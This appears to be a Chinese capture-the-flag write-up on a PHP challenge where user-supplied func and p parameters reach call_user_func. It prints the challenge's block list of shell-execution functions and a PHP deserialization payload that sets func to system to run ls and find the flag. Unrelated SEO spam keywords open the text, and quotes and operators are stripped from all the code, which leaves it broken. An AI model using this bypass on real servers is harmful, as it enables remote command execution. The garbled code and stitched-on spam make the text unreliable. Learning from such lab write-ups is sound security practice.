安卓软件制作网站,电子商务网站建设实训总结报告,直播软件哪个最好用,企业手机网站1.打开网站#xff0c;吓我一跳
2.查看源代码#xff0c;主要看到timezone#xff0c;然后这个页面是五秒就会刷新一次 一开始去搜了这个#xff0c;但是没什么用 3.使用bp抓包
会发现有两个参数#xff0c;应该是用func来执行p 4.修改func和p
file_get_contents#…1.打开网站吓我一跳
2.查看源代码主要看到timezone然后这个页面是五秒就会刷新一次 一开始去搜了这个但是没什么用 3.使用bp抓包
会发现有两个参数应该是用func来执行p 4.修改func和p
file_get_contents 把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。
读取index.php
5.使用post传参查看页面源代码
审计
?php$disable_fun array(exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg,assert,substr_replace,call_user_func_array,call_user_func,array_filter, array_walk, array_map,registregister_shutdown_function,register_tick_function,filter_var, filter_var_array, uasort, uksort, array_reduce,array_walk, array_walk_recursive,pcntl_exec,fopen,fwrite,file_put_contents); //定义disable_fun这个数组禁用了这些函数function gettime($func, $p) {$result call_user_func($func, $p);$a gettype($result);if ($a string) {return $result;} else {return ;}} //定义了一个名为gettime的函数它接受一个函数名func和参数p并通过call_user_func函数来调用指定的函数。a 获取变量的类型如果a是字符串则将其返回否则返回空字符串。
//gettype() 函数用于获取变量的类型class Test {var $p Y-m-d h:i:s a;var $func date;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);} //定义了一个名为Test的类其中包含了一个变量$p表示日期格式以及一个变量$func表示要执行的函数名。在类的析构函数__destruct中首先检查$func是否为空。如果不为空则调用gettime函数来执行指定的函数并将结果输出。
//__destruct() 魔术方法 对象被销毁时触发}}$func $_REQUEST[func];$p $_REQUEST[p]; //从$_REQUEST超全局变量中获取传入的函数名和参数if ($func ! null) {$func strtolower($func); //如果传入的函数名不为空则将其转换为小写if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die(Hacker...);} //检查其是否在$disable_fun数组中。如果函数名不在禁用列表中则调用gettime函数来执行指定的函数并将结果输出。否则代码将输出Hacker...并终止程序。}?
https://www.cnblogs.com/fps2tao/p/7865423.html call_user_func函数详解
6.使用反序列化
先看一下有什么文件
?php
class Test
{var $p ls;var $func system;
}
$a new Test();
echo serialize($a);
? 查看源代码没有看到什么 查找含有flag的文件
find / -name flag* cat 这个文件